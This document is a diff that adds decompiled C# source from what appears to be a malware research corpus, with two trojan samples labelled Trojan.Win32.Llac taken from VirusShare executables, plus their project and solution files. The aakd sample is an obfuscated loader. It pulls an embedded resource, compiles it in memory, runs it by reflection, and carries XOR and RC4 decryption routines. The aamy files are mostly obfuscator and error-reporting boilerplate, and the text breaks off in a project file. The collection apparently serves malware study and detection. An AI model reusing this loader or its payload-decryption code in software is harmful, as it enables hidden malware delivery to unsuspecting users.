+      public MyWebServices()
+      {
+      }
+    }
+
+    [ComVisible(false)]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aakd-96f6bdd657e1d74f1acd0cbd94cc352ca144d9145acce016b7f711c50bab97f6/Trojan.Win32.Llac.aakd.csproj

@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aakd-96f6bdd657e1d74f1acd0cbd94cc352ca144d9145acce016b7f711c50bab97f6.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{F5530878-DE42-4E0A-B02F-EAFFC7DF4B01}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>[2010-06-13] CG_QTTask</AssemblyName>
+    <ApplicationVersion>0.0.0.0</ApplicationVersion>
+    <RootNamespace>My</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="UCFZCGUezNzmOjiLsKvzZzLFXUrNldalDRmajICfhOinvlRaaZ.cs" />
+    <Compile Include="MyApplication.cs" />
+    <Compile Include="MyComputer.cs" />
+    <Compile Include="MyProject.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="FEJfmtYlkBEHyXmfPxzUwCPMuIhhJR" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aakd-96f6bdd657e1d74f1acd0cbd94cc352ca144d9145acce016b7f711c50bab97f6/Trojan.Win32.Llac.aakd.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "[2010-06-13] CG_QTTask", "Trojan.Win32.Llac.aakd-96f6bdd657e1d74f1acd0cbd94cc352ca144d9145acce016b7f711c50bab97f6.csproj", "{F5530878-DE42-4E0A-B02F-EAFFC7DF4B01}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{F5530878-DE42-4E0A-B02F-EAFFC7DF4B01}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{F5530878-DE42-4E0A-B02F-EAFFC7DF4B01}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{F5530878-DE42-4E0A-B02F-EAFFC7DF4B01}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{F5530878-DE42-4E0A-B02F-EAFFC7DF4B01}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aakd-96f6bdd657e1d74f1acd0cbd94cc352ca144d9145acce016b7f711c50bab97f6/UCFZCGUezNzmOjiLsKvzZzLFXUrNldalDRmajICfhOinvlRaaZ.cs

@@ -0,0 +1,210 @@
+// Decompiled with JetBrains decompiler
+// Type: UCFZCGUezNzmOjiLsKvzZzLFXUrNldalDRmajICfhOinvlRaaZ
+// Assembly: [2010-06-13] CG_QTTask, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 86ADDFF4-806D-4CF9-AAD0-F2BF223801EF
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aakd-96f6bdd657e1d74f1acd0cbd94cc352ca144d9145acce016b7f711c50bab97f6.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.IO;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text;
+
+[StandardModule]
+internal sealed class UCFZCGUezNzmOjiLsKvzZzLFXUrNldalDRmajICfhOinvlRaaZ
+{
+  private static bool dBIPtGGVZcUsIBkSVpSWkhQdDDemybuaxQpQbVnXtdotqCThpq = false;
+
+  [STAThread]
+  public static void Main()
+  {
+    if (UCFZCGUezNzmOjiLsKvzZzLFXUrNldalDRmajICfhOinvlRaaZ.dBIPtGGVZcUsIBkSVpSWkhQdDDemybuaxQpQbVnXtdotqCThpq)
+    {
+      int num = (int) Interaction.MsgBox((object) "eYqnKtFLHSjkGHRoVyOuCUcSxstrwhbiMnYosvmMoUEznJypEO");
+    }
+    string UCFZCGUezNzmOjiLsKvzZzLFXUrNldalDRmajICfhOinvlRaaZName = "RovDhttJNQIgvoYGJdGKYUERqqSamP";
+    UCFZCGUezNzmOjiLsKvzZzLFXUrNldalDRmajICfhOinvlRaaZ.rBNoJnMeEepjCkIrCIEQgvDFOlgKMsySaPuqqpufmtKkjzpskJ(UCFZCGUezNzmOjiLsKvzZzLFXUrNldalDRmajICfhOinvlRaaZ.MeEepjCkIrCIEQgvDFOlgKMsySaPuqqpufmtKkjzpskJmRPwlG().Replace("\"__PATH__\"", "\"" + Assembly.GetExecutingAssembly().Location + "\""), UCFZCGUezNzmOjiLsKvzZzLFXUrNldalDRmajICfhOinvlRaaZName);
+  }
+
+  public static string MeEepjCkIrCIEQgvDFOlgKMsySaPuqqpufmtKkjzpskJmRPwlG()
+  {
+    Assembly executingAssembly = Assembly.GetExecutingAssembly();
+    string manifestResourceName = executingAssembly.GetManifestResourceNames()[0];
+    Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(manifestResourceName);
+    return manifestResourceStream == null ? "" : new StreamReader(manifestResourceStream).ReadToEnd();
+  }
+
+  private static CompilerResults VcHUTjnphHWOygiDfkyudqQRrBNoJnMeEepjCkIrCIEQgvDFOl(
+    CompilerParameters gKMsySaPuqqpufmtKkjzpskJmRPwlGwnBLtthhIRdGZFcuHurl,
+    string EBYISYUgwxTVeCjNcJPiqgMHHGLvovaBmDGJBZDhRNCWNERbLK)
+  {
+    CompilerResults compilerResults;
+    try
+    {
+      VBCodeProvider vbCodeProvider = new VBCodeProvider();
+      gKMsySaPuqqpufmtKkjzpskJmRPwlGwnBLtthhIRdGZFcuHurl.GenerateExecutable = false;
+      gKMsySaPuqqpufmtKkjzpskJmRPwlGwnBLtthhIRdGZFcuHurl.ReferencedAssemblies.Add("System.dll");
+      gKMsySaPuqqpufmtKkjzpskJmRPwlGwnBLtthhIRdGZFcuHurl.ReferencedAssemblies.Add("System.Windows.Forms.dll");
+      gKMsySaPuqqpufmtKkjzpskJmRPwlGwnBLtthhIRdGZFcuHurl.ReferencedAssemblies.Add("System.Data.dll");
+      gKMsySaPuqqpufmtKkjzpskJmRPwlGwnBLtthhIRdGZFcuHurl.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
+      compilerResults = vbCodeProvider.CompileAssemblyFromSource(gKMsySaPuqqpufmtKkjzpskJmRPwlGwnBLtthhIRdGZFcuHurl, EBYISYUgwxTVeCjNcJPiqgMHHGLvovaBmDGJBZDhRNCWNERbLK);
+    }
+    catch (Exception ex)
+    {
+      ProjectData.SetProjectError(ex);
+      Exception exception = ex;
+      if (UCFZCGUezNzmOjiLsKvzZzLFXUrNldalDRmajICfhOinvlRaaZ.dBIPtGGVZcUsIBkSVpSWkhQdDDemybuaxQpQbVnXtdotqCThpq)
+      {
+        int num = (int) Interaction.MsgBox((object) exception.Message);
+      }
+      ProjectData.ClearProjectError();
+    }
+    return compilerResults;
+  }
+
+  private static void rBNoJnMeEepjCkIrCIEQgvDFOlgKMsySaPuqqpufmtKkjzpskJ(
+    string YWbMFMqEDTXZRqFxiQSmPUhsNaOzbxwYGXJNnOZTliFbzrnyQf,
+    string UCFZCGUezNzmOjiLsKvzZzLFXUrNldalDRmajICfhOinvlRaaZName)
+  {
+    CompilerParameters gKMsySaPuqqpufmtKkjzpskJmRPwlGwnBLtthhIRdGZFcuHurl = new CompilerParameters();
+    gKMsySaPuqqpufmtKkjzpskJmRPwlGwnBLtthhIRdGZFcuHurl.GenerateInMemory = true;
+    gKMsySaPuqqpufmtKkjzpskJmRPwlGwnBLtthhIRdGZFcuHurl.IncludeDebugInformation = false;
+    gKMsySaPuqqpufmtKkjzpskJmRPwlGwnBLtthhIRdGZFcuHurl.TreatWarningsAsErrors = false;
+    try
+    {
+      UCFZCGUezNzmOjiLsKvzZzLFXUrNldalDRmajICfhOinvlRaaZ.DKbCBRHKCaDigODXNEScLLxxZhuWqVtLXMJDVSpZjplwOPkmvT((object) UCFZCGUezNzmOjiLsKvzZzLFXUrNldalDRmajICfhOinvlRaaZ.VcHUTjnphHWOygiDfkyudqQRrBNoJnMeEepjCkIrCIEQgvDFOl(gKMsySaPuqqpufmtKkjzpskJmRPwlGwnBLtthhIRdGZFcuHurl, YWbMFMqEDTXZRqFxiQSmPUhsNaOzbxwYGXJNnOZTliFbzrnyQf).CompiledAssembly.GetType(UCFZCGUezNzmOjiLsKvzZzLFXUrNldalDRmajICfhOinvlRaaZName));
+    }
+    catch (Exception ex)
+    {
+      ProjectData.SetProjectError(ex);
+      Exception exception = ex;
+      if (UCFZCGUezNzmOjiLsKvzZzLFXUrNldalDRmajICfhOinvlRaaZ.dBIPtGGVZcUsIBkSVpSWkhQdDDemybuaxQpQbVnXtdotqCThpq)
+      {
+        int num = (int) Interaction.MsgBox((object) exception.Message);
+      }
+      ProjectData.ClearProjectError();
+    }
+  }
+
+  private static void DKbCBRHKCaDigODXNEScLLxxZhuWqVtLXMJDVSpZjplwOPkmvT(
+    object yXmfPxzUwCPMuIhhJReGZFduVvHBTCYITZVgxNUVfDxbdJQjqg)
+  {
+    BindingFlags bindingFlags1 = BindingFlags.Static | BindingFlags.Public | BindingFlags.InvokeMethod;
+    object Instance = yXmfPxzUwCPMuIhhJReGZFduVvHBTCYITZVgxNUVfDxbdJQjqg;
+    object[] objArray = new object[5]
+    {
+      (object) "iOlEdEPJbLhRchepHVdenMGjlSYrzp",
+      (object) bindingFlags1,
+      (object) null,
+      (object) null,
+      (object) null
+    };
+    object[] Arguments = objArray;
+    bool[] flagArray = new bool[5]
+    {
+      false,
+      true,
+      false,
+      false,
+      false
+    };
+    bool[] CopyBack = flagArray;
+    NewLateBinding.LateCall(Instance, (Type) null, "InvokeMember", Arguments, (string[]) null, (Type[]) null, CopyBack, true);
+    if (!flagArray[1])
+      return;
+    BindingFlags bindingFlags2 = (BindingFlags) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (BindingFlags));
+  }
+
+  public class QtvcvCKyenomrPVcHUTjnphHWOygiDfkyudqQRrBNoJnMeEepj
+  {
+    public static string YlkBEHyXmfPxzUwCPMuIhhJReGZFduVvHBTCYITZVgxNUVfDxb(
+      string DataIn,
+      string CodeKey)
+    {
+      long num = (long) Strings.Len(DataIn);
+      long Start = 1;
+      string str;
+      while (Start <= num)
+      {
+        string Expression = Conversion.Hex(Strings.Asc(Strings.Mid(DataIn, checked ((int) Start), 1)) ^ Strings.Asc(Strings.Mid(CodeKey, checked ((int) (unchecked (Start % (long) Strings.Len(CodeKey)) + 1L)), 1)));
+        if (Strings.Len(Expression) == 1)
+          Expression = "0" + Expression;
+        str += Expression;
+        checked { ++Start; }
+      }
+      return str;
+    }
+
+    public static string CkIrCIEQgvDFOlgKMsySaPuqqpufmtKkjzpskJmRPwlGwnBLtt(
+      string DataIn,
+      string CodeKey)
+    {
+      long num1 = checked ((long) Math.Round(unchecked ((double) Strings.Len(DataIn) / 2.0)));
+      long num2 = 1;
+      string str;
+      while (num2 <= num1)
+      {
+        int num3 = checked ((int) Math.Round(Conversion.Val("&H" + Strings.Mid(DataIn, (int) (2L * num2 - 1L), 2))));
+        int num4 = Strings.Asc(Strings.Mid(CodeKey, checked ((int) (unchecked (num2 % (long) Strings.Len(CodeKey)) + 1L)), 1));
+        str += Conversions.ToString(Strings.Chr(num3 ^ num4));
+        checked { ++num2; }
+      }
+      return str;
+    }
+
+    public static byte[] YlkBEHyXmfPxzUwCPMuIhhJReGZFduVvHBTCYITZVgxNUVfDxb(
+      byte[] Input,
+      string Key)
+    {
+      return UCFZCGUezNzmOjiLsKvzZzLFXUrNldalDRmajICfhOinvlRaaZ.QtvcvCKyenomrPVcHUTjnphHWOygiDfkyudqQRrBNoJnMeEepj.Proper_RC4(Input, Encoding.Default.GetBytes(Key));
+    }
+
+    public static byte[] CkIrCIEQgvDFOlgKMsySaPuqqpufmtKkjzpskJmRPwlGwnBLtt(
+      byte[] Input,
+      string Key)
+    {
+      return UCFZCGUezNzmOjiLsKvzZzLFXUrNldalDRmajICfhOinvlRaaZ.QtvcvCKyenomrPVcHUTjnphHWOygiDfkyudqQRrBNoJnMeEepj.YlkBEHyXmfPxzUwCPMuIhhJReGZFduVvHBTCYITZVgxNUVfDxb(Input, Key);
+    }
+
+    public static byte[] Proper_RC4(byte[] Input, byte[] Key)
+    {
+      uint[] numArray1 = new uint[256];
+      byte[] numArray2 = new byte[checked (Input.Length - 1 + 1)];
+      uint index1 = 0;
+      do
+      {
+        numArray1[checked ((int) index1)] = index1;
+        checked { ++index1; }
+      }
+      while (index1 <= (uint) byte.MaxValue);
+      uint index2 = 0;
+      do
+      {
+        uint index3 = checked ((uint) ((long) (index3 + (uint) Key[(int) unchecked ((long) index2 % (long) Key.Length)] + numArray1[(int) index2]) & (long) byte.MaxValue));
+        uint num = numArray1[checked ((int) index2)];
+        numArray1[checked ((int) index2)] = numArray1[checked ((int) index3)];
+        numArray1[checked ((int) index3)] = num;
+        checked { ++index2; }
+      }
+      while (index2 <= (uint) byte.MaxValue);
+      uint index4 = 0;
+      uint index5 = 0;
+      int num1 = checked (numArray2.Length - 1);
+      int index6 = 0;
+      while (index6 <= num1)
+      {
+        index4 = checked ((uint) ((long) index4 + 1L & (long) byte.MaxValue));
+        index5 = checked ((uint) ((long) (index5 + numArray1[(int) index4]) & (long) byte.MaxValue));
+        uint num2 = numArray1[checked ((int) index4)];
+        numArray1[checked ((int) index4)] = numArray1[checked ((int) index5)];
+        numArray1[checked ((int) index5)] = num2;
+        numArray2[index6] = checked ((byte) ((int) Input[index6] ^ unchecked ((int) numArray1[checked ((int) ((long) (numArray1[(int) index4] + numArray1[(int) index5]) & (long) byte.MaxValue))])));
+        checked { ++index6; }
+      }
+      return numArray2;
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/AssemblyInfo.cs

@@ -0,0 +1,7 @@
+using SmartAssembly.Attributes;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+
+[assembly: SuppressIldasm]
+[assembly: PoweredBy("Powered by {smartassembly}")]
+[assembly: AssemblyVersion("0.0.0.0")]

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/SmartAssembly/Attributes/PoweredByAttribute.cs

@@ -0,0 +1,26 @@
+// Decompiled with JetBrains decompiler
+// Type: SmartAssembly.Attributes.PoweredByAttribute
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using SmartAssembly.SmartExceptionsCore;
+using System;
+
+namespace SmartAssembly.Attributes
+{
+  public sealed class PoweredByAttribute : Attribute
+  {
+    public PoweredByAttribute(string s)
+    {
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        string str = s;
+        throw UnhandledException.\u0003(ex, (object) this, (object) str);
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/SmartAssembly/Attributes/Token200004B.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: SmartAssembly.Attributes.Token200004B
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+namespace SmartAssembly.Attributes
+{
+  internal class Token200004B : \u0024Unresolved\u0024Token\u003A2003FFF
+  {
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/SmartAssembly/SmartExceptionsCore/ReportingService.cs

@@ -0,0 +1,29 @@
+// Decompiled with JetBrains decompiler
+// Type: SmartAssembly.SmartExceptionsCore.ReportingService
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using System.Web.Services;
+using System.Web.Services.Protocols;
+using System.Xml.Serialization;
+
+namespace SmartAssembly.SmartExceptionsCore
+{
+  [WebServiceBinding(Name = "ReportingServiceSoap", Namespace = "http://www.smartassembly.com/webservices/Reporting/")]
+  internal sealed class ReportingService : SoapHttpClientProtocol
+  {
+    public ReportingService(string serverURL)
+    {
+      this.Url = serverURL + "Reporting.asmx";
+      this.Timeout = 180000;
+    }
+
+    [SoapDocumentMethod("http://www.smartassembly.com/webservices/Reporting/UploadReport2")]
+    public string UploadReport2(string licenseID, [XmlElement(DataType = "base64Binary")] byte[] data) => (string) this.Invoke(nameof (UploadReport2), new object[2]
+    {
+      (object) licenseID,
+      (object) data
+    })[0];
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/SmartAssembly/SmartExceptionsCore/Token2000048.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: SmartAssembly.SmartExceptionsCore.Token2000048
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+namespace SmartAssembly.SmartExceptionsCore
+{
+  internal class Token2000048 : \u0024Unresolved\u0024Token\u003A2003FFF
+  {
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/SmartAssembly/SmartExceptionsCore/UnhandledException.cs

@@ -0,0 +1,271 @@
+// Decompiled with JetBrains decompiler
+// Type: SmartAssembly.SmartExceptionsCore.UnhandledException
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using System;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.InteropServices;
+using System.Runtime.Serialization;
+
+namespace SmartAssembly.SmartExceptionsCore
+{
+  [Serializable]
+  public sealed class UnhandledException : Exception
+  {
+    public int MethodID;
+    public object[] Objects;
+    public int ILOffset;
+    private Exception previousException;
+
+    internal Exception \u0003() => this.previousException;
+
+    public static Exception \u0003([In] Exception obj0) => UnhandledException.\u0003(obj0, new object[0]);
+
+    public static Exception \u0003([In] Exception obj0, [In] object obj1) => UnhandledException.\u0003(obj0, new object[1]
+    {
+      obj1
+    });
+
+    public static Exception \u0003([In] Exception obj0, [In] object obj1, [In] object obj2) => UnhandledException.\u0003(obj0, new object[2]
+    {
+      obj1,
+      obj2
+    });
+
+    public static Exception \u0003([In] Exception obj0, [In] object obj1, [In] object obj2, [In] object obj3) => UnhandledException.\u0003(obj0, new object[3]
+    {
+      obj1,
+      obj2,
+      obj3
+    });
+
+    public static Exception \u0003(
+      [In] Exception obj0,
+      [In] object obj1,
+      [In] object obj2,
+      [In] object obj3,
+      [In] object obj4)
+    {
+      return UnhandledException.\u0003(obj0, new object[4]
+      {
+        obj1,
+        obj2,
+        obj3,
+        obj4
+      });
+    }
+
+    public static Exception \u0003(
+      [In] Exception obj0,
+      [In] object obj1,
+      [In] object obj2,
+      [In] object obj3,
+      [In] object obj4,
+      [In] object obj5)
+    {
+      return UnhandledException.\u0003(obj0, new object[5]
+      {
+        obj1,
+        obj2,
+        obj3,
+        obj4,
+        obj5
+      });
+    }
+
+    public static Exception \u0003(
+      [In] Exception obj0,
+      [In] object obj1,
+      [In] object obj2,
+      [In] object obj3,
+      [In] object obj4,
+      [In] object obj5,
+      [In] object obj6)
+    {
+      return UnhandledException.\u0003(obj0, new object[6]
+      {
+        obj1,
+        obj2,
+        obj3,
+        obj4,
+        obj5,
+        obj6
+      });
+    }
+
+    public static Exception \u0003(
+      [In] Exception obj0,
+      [In] object obj1,
+      [In] object obj2,
+      [In] object obj3,
+      [In] object obj4,
+      [In] object obj5,
+      [In] object obj6,
+      [In] object obj7)
+    {
+      return UnhandledException.\u0003(obj0, new object[7]
+      {
+        obj1,
+        obj2,
+        obj3,
+        obj4,
+        obj5,
+        obj6,
+        obj7
+      });
+    }
+
+    public static Exception \u0003(
+      [In] Exception obj0,
+      [In] object obj1,
+      [In] object obj2,
+      [In] object obj3,
+      [In] object obj4,
+      [In] object obj5,
+      [In] object obj6,
+      [In] object obj7,
+      [In] object obj8)
+    {
+      return UnhandledException.\u0003(obj0, new object[8]
+      {
+        obj1,
+        obj2,
+        obj3,
+        obj4,
+        obj5,
+        obj6,
+        obj7,
+        obj8
+      });
+    }
+
+    public static Exception \u0003(
+      [In] Exception obj0,
+      [In] object obj1,
+      [In] object obj2,
+      [In] object obj3,
+      [In] object obj4,
+      [In] object obj5,
+      [In] object obj6,
+      [In] object obj7,
+      [In] object obj8,
+      [In] object obj9)
+    {
+      return UnhandledException.\u0003(obj0, new object[9]
+      {
+        obj1,
+        obj2,
+        obj3,
+        obj4,
+        obj5,
+        obj6,
+        obj7,
+        obj8,
+        obj9
+      });
+    }
+
+    public static Exception \u0003(
+      [In] Exception obj0,
+      [In] object obj1,
+      [In] object obj2,
+      [In] object obj3,
+      [In] object obj4,
+      [In] object obj5,
+      [In] object obj6,
+      [In] object obj7,
+      [In] object obj8,
+      [In] object obj9,
+      [In] object obj10)
+    {
+      return UnhandledException.\u0003(obj0, new object[10]
+      {
+        obj1,
+        obj2,
+        obj3,
+        obj4,
+        obj5,
+        obj6,
+        obj7,
+        obj8,
+        obj9,
+        obj10
+      });
+    }
+
+    public static Exception \u0003([In] Exception obj0, [In] object[] obj1)
+    {
+      if (\u0003.\u0003.\u0001)
+        return (Exception) null;
+      int num1 = -1;
+      int num2 = -1;
+      try
+      {
+        StackTrace stackTrace = new StackTrace(obj0);
+        if (stackTrace.FrameCount > 0)
+        {
+          StackFrame frame = stackTrace.GetFrame(stackTrace.FrameCount - 1);
+          num2 = (frame.GetMethod().MetadataToken & 16777215) - 1;
+          num1 = frame.GetILOffset();
+        }
+      }
+      catch
+      {
+      }
+      UnhandledException unhandledException = new UnhandledException(num2, obj1, num1, obj0);
+      if (obj0 is UnhandledException)
+      {
+        Exception exception = (obj0 as UnhandledException).\u0003();
+        if (exception != null)
+          obj0 = exception;
+      }
+      Exception exception1 = obj0;
+      while (exception1.InnerException != null)
+        exception1 = exception1.InnerException;
+      try
+      {
+        typeof (Exception).GetField("_innerException", BindingFlags.Instance | BindingFlags.NonPublic).SetValue((object) exception1, (object) unhandledException);
+      }
+      catch
+      {
+      }
+      return obj0;
+    }
+
+    public override void GetObjectData([In] SerializationInfo obj0, [In] StreamingContext obj1)
+    {
+      base.GetObjectData(obj0, obj1);
+      obj0.AddValue("UnhandledException.MethodID", (object) this.MethodID, typeof (int));
+      obj0.AddValue("UnhandledException.ILOffset", (object) this.ILOffset, typeof (int));
+      obj0.AddValue("UnhandledException.PreviousException", (object) this.previousException, typeof (Exception));
+      int num = this.Objects == null ? 0 : this.Objects.Length;
+      obj0.AddValue("UnhandledException.Objects.Length", (object) num, typeof (int));
+      for (int index = 0; index < num; ++index)
+        obj0.AddValue(string.Format("UnhandledException.Objects[{0}]", (object) index), this.Objects[index], typeof (object));
+    }
+
+    internal UnhandledException([In] SerializationInfo obj0, [In] StreamingContext obj1)
+      : base(obj0, obj1)
+    {
+      this.MethodID = obj0.GetInt32("UnhandledException.MethodID");
+      this.ILOffset = obj0.GetInt32("UnhandledException.ILOffset");
+      this.previousException = (Exception) obj0.GetValue("UnhandledException.PreviousException", typeof (Exception));
+      int int32 = obj0.GetInt32("UnhandledException.Objects.Length");
+      this.Objects = new object[int32];
+      for (int index = 0; index < int32; ++index)
+        this.Objects[index] = obj0.GetValue(string.Format("UnhandledException.Objects[{0}]", (object) index), typeof (object));
+    }
+
+    internal UnhandledException([In] int obj0, [In] object[] obj1, [In] int obj2, [In] Exception obj3)
+      : base(string.Format("SmartExceptionsCore.UnhandledException @ {0}, offset:{1}", (object) obj0, (object) obj2))
+    {
+      this.MethodID = obj0;
+      this.Objects = obj1;
+      this.ILOffset = obj2;
+      this.previousException = obj3;
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/SmartAssembly/SmartExceptionsCore/UploadReportLoginService.cs

@@ -0,0 +1,27 @@
+// Decompiled with JetBrains decompiler
+// Type: SmartAssembly.SmartExceptionsCore.UploadReportLoginService
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using System.Web.Services;
+using System.Web.Services.Protocols;
+
+namespace SmartAssembly.SmartExceptionsCore
+{
+  [WebServiceBinding(Name = "LoginServiceSoap", Namespace = "http://www.smartassembly.com/webservices/UploadReportLogin/")]
+  internal sealed class UploadReportLoginService : SoapHttpClientProtocol
+  {
+    public UploadReportLoginService()
+    {
+      this.Url = "http://www.smartassembly.com/webservices/UploadReportLogin.asmx";
+      this.Timeout = 30000;
+    }
+
+    [SoapDocumentMethod("http://www.smartassembly.com/webservices/UploadReportLogin/GetServerURL")]
+    public string GetServerURL(string licenseID) => (string) this.Invoke(nameof (GetServerURL), new object[1]
+    {
+      (object) licenseID
+    })[0];
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/Trojan.Win32.Llac.aamy.csproj

@@ -0,0 +1,87 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
